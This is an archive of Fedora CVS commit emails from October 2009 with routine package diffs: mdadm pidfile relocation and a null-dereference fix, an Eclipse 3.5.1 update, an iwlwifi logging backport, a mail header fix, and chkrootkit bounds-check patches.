From jwrdegoede at fedoraproject.org  Fri Oct  2 19:50:20 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  2 Oct 2009 19:50:20 +0000 (UTC)
Subject: rpms/mdadm/F-12 mdadm-3.0-mdmon-dev-.mdadm.patch, NONE,
	1.1 mdadm-3.0-rh526761.patch, NONE, 1.1 mdadm-3.0-calloc.patch,
	1.1, NONE
Message-ID: <20091002195020.2776411C043C@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/mdadm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5046

Added Files:
	mdadm-3.0-mdmon-dev-.mdadm.patch mdadm-3.0-rh526761.patch 
Removed Files:
	mdadm-3.0-calloc.patch 
Log Message:
* Fri Oct  2 2009 Hans de Goede <hdegoede at redhat.com> - 3.0.2-1
- New upstream release 3.0.2
- Add a patch fixing mdadm --detail -export segfaults (bz526761, bz523862)
- Add a patch making mdmon store its state under /dev/.mdadm for initrd
  mdmon, rootfs mdmon handover
- Restart mdmon from initscript (when running) for rootfs mdmon handover


mdadm-3.0-mdmon-dev-.mdadm.patch:
 mdmon.c |   17 ++++++++---------
 msg.c   |    2 +-
 util.c  |    4 ++--
 3 files changed, 11 insertions(+), 12 deletions(-)

--- NEW FILE mdadm-3.0-mdmon-dev-.mdadm.patch ---
diff -up mdadm-3.0/mdmon.c~ mdadm-3.0/mdmon.c
--- mdadm-3.0/mdmon.c~	2009-09-19 14:22:23.000000000 +0200
+++ mdadm-3.0/mdmon.c	2009-09-19 14:22:23.000000000 +0200
@@ -124,7 +124,7 @@ int make_pidfile(char *devname, int o_ex
 	if (sigterm)
 		return -1;
 
-	sprintf(path, "/var/run/mdadm/%s.pid", devname);
+	sprintf(path, "/dev/.mdadm/%s.pid", devname);
 
 	fd = open(path, O_RDWR|O_CREAT|o_excl, 0600);
 	if (fd < 0)
@@ -157,7 +157,7 @@ static void try_kill_monitor(char *devna
 	pid_t pid;
 	struct mdstat_ent *mdstat;
 
-	sprintf(buf, "/var/run/mdadm/%s.pid", devname);
+	sprintf(buf, "/dev/.mdadm/%s.pid", devname);
 	fd = open(buf, O_RDONLY);
 	if (fd < 0)
 		return;
@@ -207,9 +207,9 @@ void remove_pidfile(char *devname)
 	if (sigterm)
 		return;
 
-	sprintf(buf, "/var/run/mdadm/%s.pid", devname);
+	sprintf(buf, "/dev/.mdadm/%s.pid", devname);
 	unlink(buf);
-	sprintf(buf, "/var/run/mdadm/%s.sock", devname);
+	sprintf(buf, "/dev/.mdadm/%s.sock", devname);
 	unlink(buf);
 }
 
@@ -223,7 +223,7 @@ int make_control_sock(char *devname)
 	if (sigterm)
 		return -1;
 
-	sprintf(path, "/var/run/mdadm/%s.sock", devname);
+	sprintf(path, "/dev/.mdadm/%s.sock", devname);
 	unlink(path);
 	sfd = socket(PF_LOCAL, SOCK_STREAM, 0);
 	if (sfd < 0)
@@ -478,11 +478,10 @@ int mdmon(char *devname, int devnum, int
 	}
 
 	/* If this fails, we hope it already exists 
-	 * pid file lives in /var/run/mdadm/mdXX.pid
+	 * pid file lives in /dev/.mdadm/mdXX.pid
 	 */
-	mkdir("/var", 0600);
-	mkdir("/var/run", 0600);
-	mkdir("/var/run/mdadm", 0600);
+	mkdir("/dev", 0700);
+	mkdir("/dev/.mdadm", 0700);
 	ignore = chdir("/");
 	if (make_pidfile(container->devname, O_EXCL) < 0) {
 		if (ping_monitor(container->devname) == 0) {
diff -up mdadm-3.0/msg.c~ mdadm-3.0/msg.c
--- mdadm-3.0/msg.c~	2009-09-11 08:10:24.000000000 +0200
+++ mdadm-3.0/msg.c	2009-09-19 15:31:27.000000000 +0200
@@ -147,7 +147,7 @@ int connect_monitor(char *devname)
 	int pos;
 	char *c;
 
-	pos = sprintf(path, "/var/run/mdadm/");
+	pos = sprintf(path, "/dev/.mdadm/");
 	if (is_subarray(devname)) {
 		devname++;
 		c = strchr(devname, '/');
diff -up mdadm-3.0/util.c~ mdadm-3.0/util.c
--- mdadm-3.0/util.c~	2009-09-19 14:22:23.000000000 +0200
+++ mdadm-3.0/util.c	2009-09-19 15:32:22.000000000 +0200
@@ -1206,7 +1206,7 @@ int mdmon_running(int devnum)
 	char pid[10];
 	int fd;
 	int n;
-	sprintf(path, "/var/run/mdadm/%s.pid", devnum2devname(devnum));
+	sprintf(path, "/dev/.mdadm/%s.pid", devnum2devname(devnum));
 	fd = open(path, O_RDONLY, 0);
 
 	if (fd < 0)
@@ -1226,7 +1226,7 @@ int signal_mdmon(int devnum)
 	char pid[10];
 	int fd;
 	int n;
-	sprintf(path, "/var/run/mdadm/%s.pid", devnum2devname(devnum));
+	sprintf(path, "/dev/.mdadm/%s.pid", devnum2devname(devnum));
 	fd = open(path, O_RDONLY, 0);
 
 	if (fd < 0)

mdadm-3.0-rh526761.patch:
 mapfile.c |   15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

--- NEW FILE mdadm-3.0-rh526761.patch ---
From: NeilBrown <neilb at suse.de>
Date: Thu, 1 Oct 2009 02:51:04 +0000 (+1000)
Subject: Fix null-dereference in set_member_info
X-Git-Url: http://neil.brown.name/git?p=mdadm;a=commitdiff_plain;h=2b9aa337af7291d3f141322da96c9f667c99d53c

Fix null-dereference in set_member_info

set_member_info would try to dereference ->metadata_version, without
checking that it isn't NULL.

Signed-off-by: NeilBrown <neilb at suse.de>
---

diff --git a/mapfile.c b/mapfile.c
index a3038be..ed59db5 100644
--- a/mapfile.c
+++ b/mapfile.c
@@ -303,19 +303,22 @@ struct map_ent *map_by_name(struct map_ent **map, char *name)
  */
 static void set_member_info(struct supertype *st, struct mdstat_ent *ent)
 {
-	char version[strlen(ent->metadata_version)+1];
 
 	st->subarray[0] = '\0';
 
-	if (strncmp(ent->metadata_version, "external:", 9) != 0)
+	if (ent->metadata_version == NULL ||
+	    strncmp(ent->metadata_version, "external:", 9) != 0)
 		return;
 
-	strcpy(version, ent->metadata_version);
-
-	if (is_subarray(&version[9])) {
-		char *subarray = strrchr(version, '/');
+	if (is_subarray(&ent->metadata_version[9])) {
+		char version[strlen(ent->metadata_version)+1];
+		char *subarray;
 		char *name = &version[10];
 
+		strcpy(version, ent->metadata_version);
+		subarray = strrchr(version, '/');
+		name = &version[10];
+
 		if (!subarray)
 			return;
 		*subarray++ = '\0';


--- mdadm-3.0-calloc.patch DELETED ---



From akurtakov at fedoraproject.org  Fri Oct  2 20:01:52 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Fri,  2 Oct 2009 20:01:52 +0000 (UTC)
Subject: rpms/eclipse/devel sources, 1.82, 1.83 eclipse.spec, 1.671,
	1.672 .cvsignore, 1.63, 1.64 fetch-ecf.sh, 1.3, NONE
Message-ID: <20091002200152.107B211C00C1@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9880/devel

Modified Files:
	sources eclipse.spec .cvsignore 
Removed Files:
	fetch-ecf.sh 
Log Message:
Update to Eclipse sdk 3.5.1.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/sources,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- sources	29 Sep 2009 12:18:16 -0000	1.82
+++ sources	2 Oct 2009 20:01:51 -0000	1.83
@@ -1,3 +1,2 @@
-72a590190a4fea7a4f8885bfe26a3e18  eclipse-I20090611-1540-fetched-src.tar.bz2
-d9b5bdc848ded1c2f1f62da94b9c70a0  ecf-filetransfer-v20090604-1131.tar.bz2
-0c08b2d3cbdec806afeddf10ab7d7bb0  eclipse-build-0_4_RC0.tar.gz
+3ed7a1c9c13a73f6d7abc0b0305631e3  eclipse-R3_5_1-fetched-src.tar.bz2
+a756f9afb426b6deeab225c537e1645c  eclipse-build-0.4.0RC0.tar.gz


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.671
retrieving revision 1.672
diff -u -p -r1.671 -r1.672
--- eclipse.spec	29 Sep 2009 13:34:23 -0000	1.671
+++ eclipse.spec	2 Oct 2009 20:01:51 -0000	1.672
@@ -9,8 +9,8 @@ Epoch:  1
 %define eclipse_major   3
 %define eclipse_minor   5
 %define eclipse_majmin  %{eclipse_major}.%{eclipse_minor}
-%define eclipse_micro   0
-%define swtver          3.5.0.v3550
+%define eclipse_micro   1
+%define swtver          3.5.1.v3555a
 %define initialize      1
 %global download_url    http://download.eclipse.org/technology/linuxtools/eclipse-build/
 
@@ -30,12 +30,12 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        4%{?dist}
+Release:        1%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
-Source0:        %{download_url}eclipse-build-0_4_RC0.tar.gz
-Source1:        %{download_url}eclipse-I20090611-1540-fetched-src.tar.bz2
+Source0:        %{download_url}eclipse-build-0.4.0RC0.tar.gz
+Source1:        %{download_url}eclipse-R3_5_1-fetched-src.tar.bz2
 Source16:       %{name}-copy-platform.sh
 Source17:       efj.sh.in
 # This file contains the types of files we'd like to extract from the jars
@@ -43,13 +43,6 @@ Source17:       efj.sh.in
 Source19:       %{name}-filenamepatterns.txt
 # Script to wrap PDE Build calls for bundle builds
 Source21:       %{name}-pdebuild.sh
-Source24:       fetch-ecf.sh
-# This was fetched using the above script.
-# We will eventually have an eclipse-ecf package but since the ECF
-# filetransfer bits that are part of the SDK actually require the SDK >=
-# 3.4 to build, I'm going to build them here and have them be owned by
-# the SDK packages for now. -- overholt, 2008-07-07
-Source25:       ecf-filetransfer-v20090604-1131.tar.bz2
 # Create a simple feature for building ECF's filetransfer plugins
 Source26:       ecf-filetransfer-feature.xml
 Source27:       ecf-filetransfer-build.properties
@@ -219,11 +212,11 @@ Eclipse Plugin Development Environment. 
 developing Eclipse plugins.
 
 %prep
-%setup -q -n eclipse-build-0_4_RC0
+%setup -q -n eclipse-build-0.4.0RC0
 cp %{SOURCE1} .
 sed --in-place "s/<target name=\"build\" depends=\"applyPatches,bootstrap,compilelibs\">/<target name=\"build\" depends=\"bootstrap,compilelibs\">/" build.xml
-ant -DbuildId=I20090611-1540 applyPatches
-pushd build/eclipse-I20090611-1540-fetched-src
+ant applyPatches
+pushd build/eclipse-R3_5_1-fetched-src
 
 # liblocalfile fixes
 sed --in-place "s/JAVA_HOME =/#JAVA_HOME =/" plugins/org.eclipse.core.filesystem/natives/unix/linux/Makefile
@@ -514,8 +507,9 @@ if [ ! -z "$JARS" ]; then
 fi
 
 # ECF filetransfer plugins
-tar jxf %{SOURCE25}
-pushd org.eclipse.ecf
+pushd ecf-src
+mkdir -p plugins
+mv org.eclipse* plugins
 mkdir -p features/org.eclipse.ecf.filetransfer-feature
 pushd features/org.eclipse.ecf.filetransfer-feature
 cp -p %{SOURCE26} feature.xml
@@ -533,10 +527,10 @@ ORIGCLASSPATH=$CLASSPATH
 export JAVA_HOME=%{java_home}
 ./build.sh
 
-SDK=$(cd build/eclipse-I20090611-1540-fetched-src/installation && pwd)
+SDK=$(cd build/eclipse-R3_5_1-fetched-src/installation && pwd)
 LAUNCHERVERSION=$(ls $SDK/plugins | grep equinox.launcher_ | sed 's/org.eclipse.equinox.launcher_//')
 PDEPLUGINVERSION=$(ls $SDK/plugins | grep pde.build_ | sed 's/org.eclipse.pde.build_//')
-pushd build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.equinox.initializer
+pushd build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.equinox.initializer
 java -cp $SDK/plugins/org.eclipse.equinox.launcher_$LAUNCHERVERSION \
       org.eclipse.core.launcher.Main \
      -application org.eclipse.ant.core.antRunner       \
@@ -545,7 +539,7 @@ cp org.eclipse.equinox.initializer*.jar 
 popd
 
 # Build the ECF filetransfer plugins
-pushd build/eclipse-I20090611-1540-fetched-src/org.eclipse.ecf
+pushd build/eclipse-R3_5_1-fetched-src/ecf-src
 mkdir -p build
 homedir=$(mkdir home| cd home|pwd)
 java -cp $SDK/plugins/org.eclipse.equinox.launcher_$LAUNCHERVERSION \
@@ -556,7 +550,7 @@ java -cp $SDK/plugins/org.eclipse.equino
      -Did=org.eclipse.ecf.filetransfer_feature                   \
      -DsourceDirectory=$(pwd)                          \
      -DbaseLocation=$SDK \
-     -DforceContextQualifier=v20090604-1131 \
+     -DforceContextQualifier=v20090831-1906 \
      -Dbuilder=$SDK/plugins/org.eclipse.pde.build_$PDEPLUGINVERSION/templates/package-build  \
      -debug -consolelog \
      -f $SDK/plugins/org.eclipse.pde.build_$PDEPLUGINVERSION/scripts/build.xml
@@ -566,8 +560,8 @@ popd
 %install
 rm -rf $RPM_BUILD_ROOT
 # Get swt version
-SWT_MAJ_VER=$(grep maj_ver build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
-SWT_MIN_VER=$(grep min_ver build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
+SWT_MAJ_VER=$(grep maj_ver build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
+SWT_MIN_VER=$(grep min_ver build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
 SWT_VERSION=$SWT_MAJ_VER$SWT_MIN_VER
 
 # Some directories we need
@@ -589,12 +583,12 @@ install -d -m 755 $RPM_BUILD_ROOT%{_data
 install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/%{name}/plugins
 
 # Explode the resulting SDK tarball
-cp -R build/eclipse-I20090611-1540-fetched-src/installation/* $RPM_BUILD_ROOT%{_libdir}/eclipse
+cp -R build/eclipse-R3_5_1-fetched-src/installation/* $RPM_BUILD_ROOT%{_libdir}/eclipse
 rm -fr $RPM_BUILD_ROOT%{_libdir}/eclipse/p2
 # ECF filetransfer plugins we built
 rm $sdkDir/plugins/org.eclipse.ecf*.jar
 unzip -d $RPM_BUILD_ROOT%{_libdir} \
-  build/eclipse-I20090611-1540-fetched-src/org.eclipse.ecf/build/rpmBuild/org.eclipse.ecf.filetransfer_feature.zip
+  build/eclipse-R3_5_1-fetched-src/ecf-src/build/rpmBuild/org.eclipse.ecf.filetransfer_feature.zip
 # Remove the feature we used for building
 rm -rf \
   $sdkDir/features/org.eclipse.ecf.filetransfer_feature_*
@@ -628,7 +622,8 @@ org.eclipse.equinox.p2.metadata.generato
 -publishArtifacts \
 -append \
 -artifactRepositoryName "Eclipse Platform" \
--metadataRepositoryName "Eclipse Platform"
+-metadataRepositoryName "Eclipse Platform" \
+-debug -consolelog
 
 # JDT
 jdtDir=$sdkDir-JDT
@@ -806,7 +801,7 @@ done
 popd
 %endif
 
-cp -p build/eclipse-I20090611-1540-fetched-src/installation/eclipse.ini \
+cp -p build/eclipse-R3_5_1-fetched-src/installation/eclipse.ini \
   $sdkDir/eclipse.ini
 # We have /usr/share/eclipse/dropins in eclipse.ini
 sed -i "s|/usr/share|%{_datadir}|" $sdkDir/eclipse.ini
@@ -836,7 +831,7 @@ echo "path:%{_datadir}" > \
 chmod 755 $RPM_BUILD_ROOT/%{_libdir}/%{name}/%{name}
 
 # Install the SWT jar symlinks in libdir
-SWTJARVERSION=$(grep v$SWT_VERSION build/eclipse-I20090611-1540-fetched-src/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}/build.xml | sed "s:.*<.*\"\(.*\)\" />:\1:")
+SWTJARVERSION=$(grep v$SWT_VERSION build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}/build.xml | sed "s:.*<.*\"\(.*\)\" />:\1:")
 pushd $RPM_BUILD_ROOT%{_libdir}/%{name}
 ln -s plugins/org.eclipse.swt.gtk.linux.%{eclipse_arch}_$SWTJARVERSION.jar swt-gtk-%{eclipse_majmin}.%{eclipse_micro}.jar
 ln -s swt-gtk-%{eclipse_majmin}.%{eclipse_micro}.jar swt-gtk-%{eclipse_majmin}.jar
@@ -1295,6 +1290,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Fri Oct 2 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-1
+- Update to 3.5.1.
+
 * Tue Sep 29 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.0-4
 - Symlink to unversioned jetty jars.
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/.cvsignore,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- .cvsignore	29 Sep 2009 12:18:16 -0000	1.63
+++ .cvsignore	2 Oct 2009 20:01:51 -0000	1.64
@@ -4,3 +4,5 @@ eclipse-I20090611-1540-fetched-src.tar.b
 eclipse-build-R0_3_0.tar.gz
 ecf-filetransfer-v20090604-1131.tar.bz2
 eclipse-build-0_4_RC0.tar.gz
+eclipse-R3_5_1-fetched-src.tar.bz2
+eclipse-build-0.4.0RC0.tar.gz


--- fetch-ecf.sh DELETED ---



From linville at fedoraproject.org  Fri Oct  2 20:07:36 2009
From: linville at fedoraproject.org (John W. Linville)
Date: Fri,  2 Oct 2009 20:07:36 +0000 (UTC)
Subject: rpms/kernel/F-12
	linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch,
	NONE, 1.1 kernel.spec, 1.1843, 1.1844
Message-ID: <20091002200736.51C8911C00C1@cvs1.fedora.phx.redhat.com>

Author: linville

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12552

Modified Files:
	kernel.spec 
Added Files:
	linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch 
Log Message:
Backport "iwlwifi: reduce noise when skb allocation fails"

linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch:
 iwl-rx.c       |   10 +++++++++-
 iwl3945-base.c |    9 ++++++++-
 2 files changed, 17 insertions(+), 2 deletions(-)

--- NEW FILE linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch ---
Backport of the following upstream commit...

commit f82a924cc88a5541df1d4b9d38a0968cd077a051
Author: Reinette Chatre <reinette.chatre at intel.com>
Date:   Thu Sep 17 10:43:56 2009 -0700

    iwlwifi: reduce noise when skb allocation fails
    
    Replenishment of receive buffers is done in the tasklet handling
    received frames as well as in a workqueue. When we are in the tasklet
    we cannot sleep and thus attempt atomic skb allocations. It is generally
    not a big problem if this fails since iwl_rx_allocate is always followed
    by a call to iwl_rx_queue_restock which will queue the work to replenish
    the buffers at a time when sleeping is allowed.
    
    We thus add the __GFP_NOWARN to the skb allocation in iwl_rx_allocate to
    reduce the noise if such an allocation fails while we still have enough
    buffers. We do maintain the warning and the error message when we are low
    on buffers to communicate to the user that there is a potential problem with
    memory availability on system
    
    This addresses issue reported upstream in thread "iwlagn: order 2 page
    allocation failures" in
    http://thread.gmane.org/gmane.linux.kernel.wireless.general/39187
    
    Signed-off-by: Reinette Chatre <reinette.chatre at intel.com>
    Acked-by: Mel Gorman <mel at csn.ul.ie>
    Signed-off-by: John W. Linville <linville at tuxdriver.com>

diff -up linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c.orig linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c
--- linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c.orig	2009-10-02 15:40:48.000000000 -0400
+++ linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl3945-base.c	2009-10-02 15:53:01.000000000 -0400
@@ -1211,13 +1211,20 @@ static void iwl3945_rx_allocate(struct i
 		list_del(element);
 		spin_unlock_irqrestore(&rxq->lock, flags);
 
+		if (rxq->free_count > RX_LOW_WATERMARK)
+			priority |= __GFP_NOWARN;
 		/* Alloc a new receive buffer */
 		rxb->skb =
 		    alloc_skb(priv->hw_params.rx_buf_size,
 				priority);
 		if (!rxb->skb) {
 			if (net_ratelimit())
-				IWL_CRIT(priv, ": Can not allocate SKB buffers\n");
+				IWL_DEBUG_INFO(priv, "Failed to allocate SKB buffer.\n");
+			if ((rxq->free_count <= RX_LOW_WATERMARK) &&
+			    net_ratelimit())
+				IWL_CRIT(priv, "Failed to allocate SKB buffer with %s. Only %u free buffers remaining.\n",
+					 priority == GFP_ATOMIC ?  "GFP_ATOMIC" : "GFP_KERNEL",
+					 rxq->free_count);
 			/* We don't reschedule replenish work here -- we will
 			 * call the restock method and if it still needs
 			 * more buffers it will schedule replenish */
diff -up linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c.orig linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c
--- linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c.orig	2009-09-09 18:13:59.000000000 -0400
+++ linux-2.6.31.noarch/drivers/net/wireless/iwlwifi/iwl-rx.c	2009-10-02 15:58:34.000000000 -0400
@@ -254,12 +254,20 @@ void iwl_rx_allocate(struct iwl_priv *pr
 
 		spin_unlock_irqrestore(&rxq->lock, flags);
 
+		if (rxq->free_count > RX_LOW_WATERMARK)
+			priority |= __GFP_NOWARN;
 		/* Alloc a new receive buffer */
 		rxb->skb = alloc_skb(priv->hw_params.rx_buf_size + 256,
 						priority);
 
 		if (!rxb->skb) {
-			IWL_CRIT(priv, "Can not allocate SKB buffers\n");
+			if (net_ratelimit())
+				IWL_DEBUG_INFO(priv, "Failed to allocate SKB buffer.\n");
+			if ((rxq->free_count <= RX_LOW_WATERMARK) &&
+			    net_ratelimit())
+				IWL_CRIT(priv, "Failed to allocate SKB buffer with %s. Only %u free buffers remaining.\n",
+					 priority == GFP_ATOMIC ?  "GFP_ATOMIC" : "GFP_KERNEL",
+					 rxq->free_count);
 			/* We don't reschedule replenish work here -- we will
 			 * call the restock method and if it still needs
 			 * more buffers it will schedule replenish */


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1843
retrieving revision 1.1844
diff -u -p -r1.1843 -r1.1844
--- kernel.spec	30 Sep 2009 19:12:04 -0000	1.1843
+++ kernel.spec	2 Oct 2009 20:07:35 -0000	1.1844
@@ -673,6 +673,7 @@ Patch683: linux-2.6-iwlwifi-fix-debugfs-
 Patch684: linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
 Patch685: linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
 Patch686: linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
+Patch687: linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
 Patch700: linux-2.6.31-nx-data.patch
 Patch701: linux-2.6.31-modules-ro-nx.patch
@@ -1325,6 +1326,7 @@ ApplyPatch linux-2.6-iwlwifi-update-1000
 ApplyPatch linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
 ApplyPatch linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
 ApplyPatch linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
+ApplyPatch linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
 # remove support for deprecated iwl6000 parts
 ApplyPatch linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
@@ -2075,6 +2077,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct  2 2009 John W. Linville <linville at redhat.com>
+- Backport "iwlwifi: reduce noise when skb allocation fails"
+
 * Wed Sep 30 2009 David Woodhouse <David.Woodhouse at intel.com>
 - Update IOMMU code; mostly a bunch more workarounds for broken BIOSes.
 



From mschwendt at fedoraproject.org  Fri Oct  2 20:12:30 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri,  2 Oct 2009 20:12:30 +0000 (UTC)
Subject: extras-repoclosure Mailer.py,1.4,1.5
Message-ID: <20091002201230.14F5811C00C1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/fedora/extras-repoclosure
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14667

Modified Files:
	Mailer.py 
Log Message:
Reply-To instead of ReplyTo


Index: Mailer.py
===================================================================
RCS file: /cvs/fedora/extras-repoclosure/Mailer.py,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -r1.4 -r1.5
--- Mailer.py	11 Aug 2009 08:53:55 -0000	1.4
+++ Mailer.py	2 Oct 2009 20:12:29 -0000	1.5
@@ -66,7 +66,7 @@
         msg['Subject'] = Header(subject)
         msg['From'] = Header(fromaddr)
         if replytoaddr:
-            msg['ReplyTo'] = Header(replytoaddr)
+            msg['Reply-To'] = Header(replytoaddr)
         msg['To'] = Header(','.join(tolist))
         msg['Date'] = formatdate()
         msg['Message-Id'] = make_msgid()



From wolfy at fedoraproject.org  Fri Oct  2 20:32:57 2009
From: wolfy at fedoraproject.org (Manuel Wolfshant)
Date: Fri,  2 Oct 2009 20:32:57 +0000 (UTC)
Subject: rpms/chkrootkit/EL-5 chkrootkit-0.48-chkproc-psver.patch, NONE,
	1.1 chkrootkit-0.48-chkutmp-outofbounds.patch, NONE,
	1.1 chkrootkit.spec, 1.19, 1.20
Message-ID: <20091002203257.E71CC11C00C1@cvs1.fedora.phx.redhat.com>

Author: wolfy

Update of /cvs/pkgs/rpms/chkrootkit/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22127

Modified Files:
	chkrootkit.spec 
Added Files:
	chkrootkit-0.48-chkproc-psver.patch 
	chkrootkit-0.48-chkutmp-outofbounds.patch 
Log Message:
sync with rawhide


chkrootkit-0.48-chkproc-psver.patch:
 chkproc.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE chkrootkit-0.48-chkproc-psver.patch ---
diff -Nur chkrootkit-0.48-orig/chkproc.c chkrootkit-0.48/chkproc.c
--- chkrootkit-0.48-orig/chkproc.c	2007-08-14 23:32:41.000000000 +0200
+++ chkrootkit-0.48/chkproc.c	2008-05-30 19:57:43.000000000 +0200
@@ -142,7 +142,7 @@
    psinfo_t psbuf;
 #endif
 
-   pv = verbose = 0; 
+   pv = 3; verbose = 0; 
 
    if (!proc)
    {

chkrootkit-0.48-chkutmp-outofbounds.patch:
 chkutmp.c |   16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

--- NEW FILE chkrootkit-0.48-chkutmp-outofbounds.patch ---
--- chkutmp.c~	2006-10-18 13:00:29.000000000 -0500
+++ chkutmp.c	2009-07-21 14:42:41.000000000 -0500
@@ -83 +83 @@
-    struct ps_line *endp = &psl_p[MAXBUF];
+    struct ps_line *endp = &psl_p[MAXBUF-1];
@@ -135 +135 @@
-    struct utmp_line *endp = &utl_p[MAXBUF];
+    struct utmp_line *endp = &utl_p[MAXBUF-1];
--- chkutmp.c~	2009-07-22 07:57:13.000000000 -0500
+++ chkutmp.c	2009-07-22 08:09:41.000000000 -0500
@@ -179 +179 @@
-    for (h = 0; h <= y; h++) {	/* loop through 'ps' data */
+    for (h = 0; h < y; h++) {	/* loop through 'ps' data */
@@ -181 +181 @@
-	for (i = 0; i <= z; i++) {	/* try and match the tty from 'ps' to one in utmp */
+	for (i = 0; i < z; i++) {	/* try and match the tty from 'ps' to one in utmp */
--- chkutmp.c~	2009-07-22 08:09:41.000000000 -0500
+++ chkutmp.c	2009-07-22 08:11:17.000000000 -0500
@@ -60,3 +60,3 @@
-    char ps_tty[UT_LINESIZE];
-    char ps_user[UT_NAMESIZE];
-    char ps_args[MAXLENGTH];
+    char ps_tty[UT_LINESIZE+2];
+    char ps_user[UT_NAMESIZE+2];
+    char ps_args[MAXLENGTH+2];
@@ -66 +66 @@
-    char ut_tty[UT_LINESIZE];
+    char ut_tty[UT_LINESIZE+2];


Index: chkrootkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/chkrootkit/EL-5/chkrootkit.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- chkrootkit.spec	23 Jul 2008 09:14:22 -0000	1.19
+++ chkrootkit.spec	2 Oct 2009 20:32:57 -0000	1.20
@@ -1,6 +1,6 @@
 Name:           chkrootkit
 Version:        0.48
-Release:        8%{?dist}
+Release:        14%{?dist}
 Summary:        Tool to locally check for signs of a rootkit
 Group:          Applications/System
 License:        BSD and GPLv2+ and Python
@@ -19,10 +19,17 @@ Patch4:         chkrootkit-0.47-warnings
 Patch6:         chkrootkit-0.47-chklastlog.patch
 Patch7:         chkrootkit-0.48-anomalies.patch
 Patch8:         chkrootkit-0.48-nophpcheck.patch
+Patch9:         chkrootkit-0.48-chkproc-psver.patch
+Patch10:	chkrootkit-0.48-chkutmp-outofbounds.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
 
+%if 0%{?fedora} > 10
+# as of glibc-2.9.90-7 in Rawhide
+BuildRequires:  glibc-static
+%endif
+
 Requires:       %{_bindir}/consolehelper
 
 %description
@@ -49,6 +56,8 @@ It contains:
 %patch6 -p1 -b .chklastlog
 %patch7 -p1 -b .anomalies
 %patch8 -p1 -b .nophpcheck
+%patch9 -p1 -b .chkproc-psver
+%patch10 -p0
 sed -i -e 's!\s\+ at strip.*!!g' Makefile
 
 
@@ -117,6 +126,18 @@ rm -rf ${RPM_BUILD_ROOT}
 
 
 %changelog
